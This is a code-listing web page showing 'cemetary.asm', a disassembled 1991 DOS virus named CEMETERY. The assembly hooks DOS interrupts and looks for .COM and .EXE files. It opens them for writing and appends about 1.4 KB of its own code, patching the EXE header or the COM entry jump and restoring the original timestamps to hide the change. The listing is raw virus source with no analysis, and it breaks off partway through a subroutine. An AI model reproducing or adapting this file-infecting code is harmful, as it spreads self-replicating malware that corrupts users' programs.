📄 cemetary.asm
字号:
PAGE 60,132
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
;圹 圹
;圹 CEMETERY 圹
;圹 圹
;圹 Created: 4-Mar-91 圹
;圹 圹
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
data_1e equ 4Ch ; (0000:004C=31h)
data_2e equ 4Eh ; (0000:004E=70h)
data_3e equ 70h ; (0000:0070=0FF33h)
data_4e equ 72h ; (0000:0072=0F000h)
data_5e equ 84h ; (0000:0084=0E3h)
data_6e equ 86h ; (0000:0086=161Ah)
data_7e equ 90h ; (0000:0090=8Eh)
data_8e equ 92h ; (0000:0092=1498h)
data_9e equ 102h ; (0000:0102=0CC00h)
data_10e equ 106h ; (0000:0106=326h)
data_11e equ 450h ; (0000:0450=184Fh)
data_12e equ 46Ch ; (0000:046C=0C4BCh)
data_13e equ 46Eh ; (0000:046E=10h)
data_14e equ 47Bh ; (0000:047B=0)
data_15e equ 0 ; (0326:0000=6A7h)
data_16e equ 2 ; (0326:0002=70h)
data_17e equ 0 ; (0687:0000=81h)
data_18e equ 1 ; (0688:0001=0FF17h)
data_19e equ 2 ; (06E3:0002=2342h)
data_20e equ 6 ; (06E3:0006=2344h)
data_46e equ 0FBF0h ; (701E:FBF0=0)
data_47e equ 0FBF2h ; (701E:FBF2=0)
data_48e equ 0FC10h ; (701E:FC10=0)
data_49e equ 0FC12h ; (701E:FC12=0)
data_50e equ 0FC14h ; (701E:FC14=0)
data_51e equ 0FC1Eh ; (701E:FC1E=0)
data_52e equ 0FC20h ; (701E:FC20=0)
data_53e equ 0FC26h ; (701E:FC26=0)
data_54e equ 0FC28h ; (701E:FC28=0)
code_seg_a segment
assume cs:code_seg_a, ds:code_seg_a
org 100h
cemetery proc far
start:
data_21 dw 0CE9h
data_22 dw 0C304h
db 23 dup (0C3h)
db 'CEMETERY'
data_24 dw 0C3C3h
data_25 dw 0C3C3h
data_26 dw 0
data_27 dw 0
data_28 dw 0
data_29 dw 0
data_30 dw 0
data_31 dd 00000h
data_32 dw 0
data_33 dw 0
data_34 dd 00000h
data_35 dw 0
data_36 dw 0
db 68h, 0E8h, 55h, 3, 90h, 3Dh
db 4Dh, 4Bh, 75h, 9, 55h, 8Bh
db 0ECh, 83h, 66h, 6, 0FEh, 5Dh
db 0CFh, 80h, 0FCh, 4Bh, 74h, 12h
db 3Dh, 0, 3Dh, 74h, 0Dh, 3Dh
db 0, 6Ch, 75h, 5, 80h, 0FBh
db 0, 74h, 3
loc_1:
jmp loc_13
loc_2:
push es
push ds
push di
push si
push bp
push dx
push cx
push bx
push ax
call sub_6
call sub_7
cmp ax,6C00h
jne loc_3 ; Jump if not equal
mov dx,si
loc_3:
mov cx,80h
mov si,dx
locloop_4:
inc si
mov al,[si]
or al,al ; Zero ?
loopnz locloop_4 ; Loop if zf=0, cx>0
sub si,2
cmp word ptr [si],4D4Fh
je loc_7 ; Jump if equal
cmp word ptr [si],4558h
je loc_6 ; Jump if equal
loc_5:
jmp short loc_12
db 90h
loc_6:
cmp word ptr [si-2],452Eh
nop
jz loc_8 ; Jump if zero
jmp short loc_5
loc_7:
cmp word ptr [si-2],432Eh
jne loc_5 ; Jump if not equal
cmp word ptr [si-4],444Eh
jne loc_5 ; Jump if not equal
loc_8:
mov ax,3D02h
call sub_5
jc loc_12 ; Jump if carry Set
mov bx,ax
mov ax,5700h
call sub_5
mov cs:data_27,cx ; (701E:0129=0)
mov cs:data_28,dx ; (701E:012B=0)
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5
push cs
pop ds
mov dx,103h
mov si,dx
mov cx,18h
mov ah,3Fh ; '?'
call sub_5
jc loc_10 ; Jump if carry Set
cmp word ptr [si],5A4Dh
jne loc_9 ; Jump if not equal
call sub_1
jmp short loc_10
loc_9:
call sub_4
loc_10:
jc loc_11 ; Jump if carry Set
mov ax,5701h
mov cx,cs:data_27 ; (701E:0129=0)
mov dx,cs:data_28 ; (701E:012B=0)
call sub_5
loc_11:
mov ah,3Eh ; '>'
call sub_5
loc_12:
call sub_7
pop ax
pop bx
pop cx
pop dx
pop bp
pop si
pop di
pop ds
pop es
loc_13:
jmp cs:data_31 ; (701E:0131=0)
cemetery endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_1 proc near
mov cx,[si+16h]
add cx,[si+8]
mov ax,10h
mul cx ; dx:ax = reg * ax
add ax,[si+14h]
adc dx,0
push dx
push ax
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5
cmp dx,0
jne loc_14 ; Jump if not equal
cmp ax,589h
jae loc_14 ; Jump if above or =
pop ax
pop dx
stc ; Set carry flag
ret
loc_14:
mov di,ax
mov bp,dx
pop cx
sub ax,cx
pop cx
sbb dx,cx
cmp word ptr [si+0Ch],0
je loc_ret_17 ; Jump if equal
cmp dx,0
jne loc_15 ; Jump if not equal
cmp ax,589h
jne loc_15 ; Jump if not equal
stc ; Set carry flag
ret
loc_15:
mov dx,bp
mov ax,di
push dx
push ax
add ax,589h
adc dx,0
mov cx,200h
div cx ; ax,dx rem=dx:ax/reg
les di,dword ptr [si+2] ; Load 32 bit ptr
mov cs:data_29,di ; (701E:012D=0)
mov cs:data_30,es ; (701E:012F=0)
mov [si+2],dx
cmp dx,0
je loc_16 ; Jump if equal
inc ax
loc_16:
mov [si+4],ax
pop ax
pop dx
call sub_2
sub ax,[si+8]
les di,dword ptr [si+14h] ; Load 32 bit ptr
mov data_24,di ; (701E:0123=0C3C3h)
mov data_25,es ; (701E:0125=0C3C3h)
mov [si+14h],dx
mov [si+16h],ax
mov word ptr data_26,ax ; (701E:0127=0)
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5
call sub_3
jc loc_ret_17 ; Jump if carry Set
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5
mov ah,40h ; '@'
mov dx,si
mov cx,18h
call sub_5
loc_ret_17:
ret
sub_1 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_2 proc near
mov cx,4
mov di,ax
and di,0Fh
locloop_18:
shr dx,1 ; Shift w/zeros fill
rcr ax,1 ; Rotate thru carry
loop locloop_18 ; Loop if cx > 0
mov dx,di
ret
sub_2 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_3 proc near
mov ah,40h ; '@'
mov cx,589h
mov dx,100h
call sub_6
jmp short loc_22
db 90h
;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
sub_4:
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5
cmp ax,589h
jb loc_ret_21 ; Jump if below
cmp ax,0FA00h
jae loc_ret_21 ; Jump if above or =
push ax
cmp byte ptr [si],0E9h
jne loc_19 ; Jump if not equal
sub ax,58Ch
cmp ax,[si+1]
jne loc_19 ; Jump if not equal
pop ax
stc ; Set carry flag
ret
loc_19:
call sub_3
jnc loc_20 ; Jump if carry=0
pop ax
ret
loc_20:
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5
pop ax
sub ax,3
mov dx,123h
mov si,dx
mov byte ptr cs:[si],0E9h
mov cs:[si+1],ax
mov ah,40h ; '@'
mov cx,3
call sub_5
loc_ret_21:
ret
sub_3 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_5 proc near
loc_22:
pushf ; Push flags
call cs:data_31 ; (701E:0131=0)
ret
sub_5 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_6 proc near
push ax
push ds
push es
xor ax,ax ; Zero register
push ax
pop ds
cli ; Disable interrupts
les ax,dword ptr ds:data_7e ; (0000:0090=18Eh) Load 32 bit ptr
mov cs:data_32,ax ; (701E:0135=0)
mov cs:data_33,es ; (701E:0137=0)
mov ax,3ABh
mov ds:data_7e,ax ; (0000:0090=18Eh)
mov ds:data_8e,cs ; (0000:0092=1498h)
les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr
mov cs:data_35,ax ; (701E:013D=0)
mov cs:data_36,es ; (701E:013F=0)
les ax,cs:data_34 ; (701E:0139=0) Load 32 bit ptr
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -